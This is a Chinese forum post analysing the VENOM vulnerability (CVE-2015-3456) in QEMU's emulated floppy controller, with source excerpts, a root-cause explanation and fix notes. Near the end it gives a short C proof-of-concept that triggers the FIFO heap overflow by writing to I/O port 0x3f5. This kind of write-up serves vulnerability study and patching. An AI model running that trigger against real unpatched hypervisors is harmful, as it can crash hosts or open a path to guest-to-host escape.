找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

979

积分

0

好友

111

主题
发表于 5 天前 | 查看: 10| 回复: 0

环境搭建

QEMU版本: 1.5.3

编译

◆ 下载 Python 2.7

apt install python2.7 python2.7-dev

◆ 安装必要的依赖

apt-get install -y \
    git \
    libglib2.0-dev \
    libfdt-dev \
    libpixman-1-dev \
    zlib1g-dev \
    ninja-build \
    pkg-config \
    libgnutls28-dev \
    libssl-dev \
    libsasl2-dev \
    libgtk-3-dev \
    libvte-2.91-dev \
    libssh-dev \
    libusb-1.0-0-dev \
    libaio-dev \
    libcap-ng-dev \
    libattr1-dev \
    libcurl4-gnutls-dev \
    python3 \
    python3-pip \
    flex \
    bison

◆ 构建配置

../configure --enable-debug --enable-kvm --python=/usr/bin/python2.7 --disable-werror --disable-virtfs

FDC控制器概述

FDC(Floppy Disk Controller)是一个模拟 Intel 82078 软盘控制器的虚拟硬件设备,主要用于云原生和虚拟化环境中的传统设备支持。它的核心功能包括:

  • 控制软盘驱动器(最多2个,MAX_FD = 2)
  • 处理软盘命令(READ、WRITE、SEEK、FORMAT等)
  • 管理数据传输(DMA或PIO模式)
  • 维护驱动器状态(磁头位置、磁道、扇区等)

初始化流程

QEMU启动
    ↓
设备注册 (fdc_register_types)
    ↓
设备实例化 (qdev_create)
    ↓
设备初始化 (qdev_init_nofail)
    ↓
调用设备特定的init函数:
    ├─→ isabus_fdc_init1 (ISA设备)
    ├─→ sysbus_fdc_init1 (SysBus设备)
    └─→ sun4m_fdc_init1 (Sun4m设备)
    ↓
fdctrl_init_common(fdctrl)
    ↓
初始化command_to_handler查找表
    ↓
分配fifo缓冲区: qemu_memalign(512, 512)
    ↓
设置fifo_size = 512
    ↓
初始化其他控制器状态
    ↓
连接驱动器 (fdctrl_connect_drives)

FDC I/O端口映射

iobase 定义
static Property isa_fdc_properties[] = {
    DEFINE_PROP_HEX32("iobase", FDCtrlISABus, iobase, 0x3f0),
    DEFINE_PROP_UINT32("irq", FDCtrlISABus, irq, 6),
    DEFINE_PROP_UINT32("dma", FDCtrlISABus, dma, 2),
    DEFINE_PROP_DRIVE("driveA", FDCtrlISABus, state.drives[0].bs),
    DEFINE_PROP_DRIVE("driveB", FDCtrlISABus, state.drives[1].bs),
    DEFINE_PROP_INT32("bootindexA", FDCtrlISABus, bootindexA, -1),
    DEFINE_PROP_INT32("bootindexB", FDCtrlISABus, bootindexB, -1),
    DEFINE_PROP_BIT("check_media_rate", FDCtrlISABus, state.check_media_rate, 0, true),
    DEFINE_PROP_END_OF_LIST(),
};

从属性定义可知,默认的 iobase0x3f0

端口映射表
/* FDC I/O端口映射表 - outb机制的关键
 * 
 * 结构说明:
 * { offset, length, size, .read = func, .write = func }
 * - offset: 相对于iobase的偏移量
 * - length: 端口范围长度
 * - size: 访问大小(1=字节,2=字,4=双字)
 *
 * 端口映射(假设iobase=0x3f0):
 * - 0x3f1-0x3f5: 偏移1-5,映射到fdctrl_read/fdctrl_write
 *   * 0x3f1 (offset=1): FD_REG_SRA (状态寄存器A)
 *   * 0x3f2 (offset=2): FD_REG_DOR (数字输出寄存器)
 *   * 0x3f3 (offset=3): FD_REG_TDR (磁带驱动器寄存器)
 *   * 0x3f4 (offset=4): FD_REG_MSR (主状态寄存器)
 *   * 0x3f5 (offset=5): FD_REG_FIFO (FIFO数据寄存器) ← 漏洞触发端口!
 * - 0x3f7: 偏移7,映射到fdctrl_read/fdctrl_write
 *   * 0x3f7 (offset=7): FD_REG_DIR (数字输入寄存器) 或 FD_REG_CCR (配置控制寄存器)
 */
static const MemoryRegionPortio fdc_portio_list[] = {
    { 1, 5, 1, .read = fdctrl_read, .write = fdctrl_write },  /* 0x3f1-0x3f5 */
    { 7, 1, 1, .read = fdctrl_read, .write = fdctrl_write },  /* 0x3f7 */
    PORTIO_END_OF_LIST(),
};

此定义意味着对 0x3f1-0x3f50x3f7 端口的访问会由 fdctrl_writefdctrl_read 函数处理。

FDC操作映射

根据传入的 offset 决定具体操作。例如,向 0x3f5 写入数据,offset 为5(0x3f5 - 0x3f0),fdctrl_write 函数接收的参数为 (opaque, 5, value),对应 FD_REG_FIFO 寄存器。

enum {
    FD_REG_SRA = 0x00,
    FD_REG_SRB = 0x01,
    FD_REG_DOR = 0x02,
    FD_REG_TDR = 0x03,
    FD_REG_MSR = 0x04,
    FD_REG_DSR = 0x04,
    FD_REG_FIFO = 0x05,
    FD_REG_DIR = 0x07,
    FD_REG_CCR = 0x07,
};

static void fdctrl_write (void *opaque, uint32_t reg, uint32_t value)
{
    FDCtrl *fdctrl = opaque;
    FLOPPY_DPRINTF("write reg%d: 0x%02x\n", reg & 7, value);
    reg &= 7;
    switch (reg) {
    case FD_REG_DOR:
        fdctrl_write_dor(fdctrl, value);
        break;
    case FD_REG_TDR:
        fdctrl_write_tape(fdctrl, value);
        break;
    case FD_REG_DSR:
        fdctrl_write_rate(fdctrl, value);
        break;
    case FD_REG_FIFO:
        fdctrl_write_data(fdctrl, value);
        break;
    case FD_REG_CCR:
        fdctrl_write_ccr(fdctrl, value);
        break;
    default:
        break;
    }
}
fdctrl_write_data 函数

offset 为 5 (FD_REG_FIFO) 时,会调用 fdctrl_write_data 函数,这是此次安全/渗透测试中漏洞的核心所在。

static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
{
    FDrive *cur_drv;
    int pos;

    /* 检查1: 控制器必须在非RESET状态 */
    if (!(fdctrl->dor & FD_DOR_nRESET)) {
        FLOPPY_DPRINTF("Floppy controller in RESET state !\n");
        return;
    }

    /* 检查2: 控制器必须准备好接收数据
     * - MSR_RQM: 请求主模式标志,必须置位
     * - MSR_DIO: 数据方向标志,0=写(主机→控制器),1=读(控制器→主机)
     */
    if (!(fdctrl->msr & FD_MSR_RQM) || (fdctrl->msr & FD_MSR_DIO)) {
        FLOPPY_DPRINTF("error: controller not ready for writing\n");
        return;
    }
    fdctrl->dsr &= ~FD_DSR_PWRDOWN;

    /* 判断是否处于非DMA数据传输模式 */
    if (fdctrl->msr & FD_MSR_NONDMA) {
        pos = fdctrl->data_pos++;
        pos %= FD_SECTOR_LEN;
        fdctrl->fifo[pos] = value;
        if (pos == FD_SECTOR_LEN - 1 ||
            fdctrl->data_pos == fdctrl->data_len) {
            cur_drv = get_cur_drv(fdctrl);
            if (bdrv_write(cur_drv->bs, fd_sector(cur_drv), fdctrl->fifo, 1) < 0) {
                FLOPPY_DPRINTF("error writing sector %d\n", fd_sector(cur_drv));
                return;
            }
            if (!fdctrl_seek_to_next_sect(fdctrl, cur_drv)) {
                FLOPPY_DPRINTF("error seeking to next sector %d\n", fd_sector(cur_drv));
                return;
            }
        }
        if (fdctrl->data_pos == fdctrl->data_len)
            fdctrl_stop_transfer(fdctrl, 0x00, 0x00, 0x00);
        return;
    }

    /* ========================================================================
     * 命令识别阶段 - 当data_pos==0时,识别这是一个新命令
     * ========================================================================
     */
    if (fdctrl->data_pos == 0) {
        /* Command - 命令识别 */
        pos = command_to_handler[value & 0xff];  /* 查找命令对应的handler索引 */
        FLOPPY_DPRINTF("%s command\n", handlers[pos].name);
        /* 设置预期数据长度:命令字节 + 参数数量 */
        fdctrl->data_len = handlers[pos].parameters + 1;
        /* 设置命令忙标志 */
        fdctrl->msr |= FD_MSR_CMDBUSY;
    }

    FLOPPY_DPRINTF("%s: %02x\n", __func__, value);

    /* ========================================================================
     * CVE-2015-3456 漏洞核心代码 - 无边界检查的FIFO写入
     * ========================================================================
     * 漏洞点:直接使用data_pos作为数组索引,没有检查是否超过fifo_size(512)
     */
    fdctrl->fifo[fdctrl->data_pos++] = value;  /* 漏洞:直接使用data_pos,无边界检查! */

    /* ========================================================================
     * 命令处理阶段 - 当data_pos == data_len时,所有参数接收完毕
     * ========================================================================
     */
    if (fdctrl->data_pos == fdctrl->data_len) {
        /* 所有参数接收完毕,可以处理命令了 */
        if (fdctrl->data_state & FD_STATE_FORMAT) {
            /* 格式化命令的特殊处理 */
            fdctrl_format_sector(fdctrl);
            return;
        }
        /* 根据命令字节查找并调用相应的处理器 */
        pos = command_to_handler[fdctrl->fifo[0] & 0xff];
        FLOPPY_DPRINTF("treat %s command\n", handlers[pos].name);
        /* 调用命令处理函数 */
        (*handlers[pos].handler)(fdctrl, handlers[pos].direction);
    }
    /* 注意:如果data_pos != data_len,函数返回,等待下一次写入
     * 攻击者可以继续发送数据,使data_pos继续增长,直到超过512
     */
}

FIFO缓冲区

FIFO是FDC的核心缓冲区,用途包括:

  1. 命令接收:主机通过FIFO发送命令和参数。
  2. 数据传输:在主机和软盘之间缓冲数据。
  3. 状态返回:控制器通过FIFO返回状态和结果。

FIFO内存布局与分配

fdctrl->fifo 在初始化时被分配了固定大小的512字节空间。

fdctrl->fifo = qemu_memalign(512, FD_SECTOR_LEN);
fdctrl->fifo_size = 512;

内存布局如下:

内存地址布局(FDCtrl结构体中的FIFO相关字段):
+------------------+
| fifo (指针)      |  → 指向实际分配的512字节缓冲区
+------------------+
| fifo_size        |  = 512 (固定值)
+------------------+
| data_pos         |  = 当前读写位置(可能超过512)
+------------------+
| data_len         |  = 本次传输的总长度
+------------------+
实际FIFO缓冲区:
+------------------+
| fifo[0]          |  ← 命令字节
+------------------+
| fifo[1]          |  ← 参数1
+------------------+
| ...              |
+------------------+
| fifo[511]        |  ← 最后一个字节
+------------------+

命令处理表与查找

fdctrl_init_common 函数会初始化 command_to_handler 查找表,用于根据命令字节快速定位到 handlers 数组中的对应处理结构。

static int fdctrl_init_common(FDCtrl *fdctrl)
{
    int i, j;
    static int command_tables_inited = 0;

    /* Fill 'command_to_handler' lookup table */
    if (!command_tables_inited) {
        command_tables_inited = 1;
        for (i = ARRAY_SIZE(handlers) - 1; i >= 0; i--) {
            for (j = 0; j < sizeof(command_to_handler); j++) {
                if ((j & handlers[i].mask) == handlers[i].value) {
                    command_to_handler[j] = i;
                }
            }
        }
    }
    // ...
}

部分命令定义和处理程序映射示例:

enum {
    ...
    FD_CMD_DRIVE_SPECIFICATION_COMMAND = 0x8e,
    ...
};

static const struct {
    uint8_t value;
    uint8_t mask;
    const char* name;
    int parameters;
    void (*handler)(FDCtrl *fdctrl, int direction);
    int direction;
} handlers[] = {
    ...
    { FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, "DRIVE SPECIFICATION COMMAND", 5, fdctrl_handle_drive_specification_command },
    ...
};

FIFO状态重置机制

正常情况下,命令处理完成后应调用重置函数来清理状态,防止后续操作出错。

/* FIFO状态重置函数 */
static void fdctrl_reset_fifo(FDCtrl *fdctrl)
{
    fdctrl->data_dir = FD_DIR_WRITE;
    fdctrl->data_pos = 0;  /* 关键:重置写入位置 */
    fdctrl->msr &= ~(FD_MSR_CMDBUSY | FD_MSR_DIO);
}

static void fdctrl_set_fifo(FDCtrl *fdctrl, int fifo_len)
{
    fdctrl->data_dir = FD_DIR_READ;
    fdctrl->data_len = fifo_len;
    fdctrl->data_pos = 0;  /* 关键:重置写入位置 */
    fdctrl->msr |= FD_MSR_CMDBUSY | FD_MSR_RQM | FD_MSR_DIO;
}

漏洞原理分析

漏洞利用的关键在于 0x8e (FD_CMD_DRIVE_SPECIFICATION_COMMAND) 命令的处理函数存在缺陷。

触发条件

  1. 0x3f5 (FD_REG_FIFO) 端口写入命令字节 0x8e
  2. 该命令需要5个参数,因此 data_len 被设置为6(1个命令字节+5个参数)。
  3. 依次发送5个参数,data_pos 从1增长到6。
  4. data_pos == data_len (6) 时,调用 fdctrl_handle_drive_specification_command 函数。

漏洞函数分析

static void fdctrl_handle_drive_specification_command(FDCtrl *fdctrl, int direction)
{
    FDrive *cur_drv = get_cur_drv(fdctrl);

    /* 检查第5个参数(fifo[5])的最高位 */
    if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x80) {
        /* Command parameters done - 参数处理完成 */
        if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x40) {
            /* bit6=1: 需要返回结果 */
            fdctrl->fifo[0] = fdctrl->fifo[1];
            fdctrl->fifo[2] = 0;
            fdctrl->fifo[3] = 0;
            fdctrl_set_fifo(fdctrl, 4);  /* 正常:重置data_pos=0 */
        } else {
            /* bit6=0: 不需要返回结果 */
            fdctrl_reset_fifo(fdctrl);  /* 正常:重置data_pos=0 */
        }
    } else if (fdctrl->data_len > 7) {
        /* ERROR - 数据长度错误 */
        /* 注意:对于0x8e命令,data_len固定为6,此条件永不成立 */
        fdctrl->fifo[0] = 0x80 |
            (cur_drv->head << 2) | GET_CUR_DRV(fdctrl);
        fdctrl_set_fifo(fdctrl, 1);
    }
    /* 漏洞点:如果第5个参数的bit7=0,且data_len<=7,函数直接返回!
     * 没有调用任何重置函数,data_pos保持为6。
     */
}

漏洞成因:如果攻击者精心构造第5个参数,使其最高位(bit7)为0,则函数会直接返回,既没有调用 fdctrl_set_fifo,也没有调用 fdctrl_reset_fifo。这导致 data_pos 的值停留在6,而没有被重置为0。

缓冲区溢出

由于 data_pos 未被重置,攻击者可以继续向 0x3f5 端口写入数据。每次写入都会执行 fdctrl->fifo[fdctrl->data_pos++] = value;

  • data_pos 从6增长到511时,写入操作仍在 fifo 数组的有效范围内。
  • data_pos 达到512时,写入 fifo[512] 就发生了越界,开始覆盖 FDCtrl 结构体之后或之前的堆内存。
  • data_pos 可以持续增加(例如通过循环写入),导致大规模的堆缓冲区溢出,为云原生/IaaS环境中的虚拟机逃逸攻击提供了可能。

漏洞复现(概念验证代码)

以下是一个简单的概念验证(PoC)代码,用于触发漏洞:

#include <sys/io.h>
#include <stdio.h>

#define FIFO 0x3f5

int main() {
    int i;
    iopl(3); // 获取I/O端口访问权限

    // 1. 发送漏洞命令 0x8e
    outb(0x8e, FIFO);

    // 2. 发送5个参数,其中第5个参数的bit7为0
    for(i = 0; i < 5; i++) {
        outb(0x00, FIFO); // 前4个参数任意,第5个参数需控制
    }
    // 假设第5个参数为0x00 (bit7=0)

    // 3. 持续写入数据,触发溢出
    for(i = 0; i < 10000; i++) {
        outb(0x42, FIFO); // 写入任意数据,data_pos将不断增长
    }
    return 0;
}

总结与修复

CVE-2015-3456(Venom漏洞)的本质是QEMU虚拟的软盘控制器(FDC)在处理特定命令(0x8e)时,状态机重置逻辑存在缺陷,导致攻击者可以诱发堆缓冲区溢出。成功利用此漏洞可能使宿主机上的恶意虚拟机实现逃逸,访问或破坏宿主机的内存。

修复方案是在 fdctrl_handle_drive_specification_command 函数的最后,确保在任何执行路径下都重置FIFO状态(例如添加一个默认的 fdctrl_reset_fifo 调用),并在 fdctrl_write_data 函数中对 data_pos 进行严格的边界检查,确保其不会超过 fifo_size


参考资源

  • 漏洞公告与深度分析
  • QEMU 官方 Git 提交修复记录

漏洞原理示意图




上一篇:银行云原生安全纵深防护体系构建:基于Kubernetes与零信任的金融级实践
下一篇:高危漏洞:Adobe Acrobat/Reader存在远程代码执行风险,需立即安装CVE安全更新
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-17 20:13 , Processed in 0.157510 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表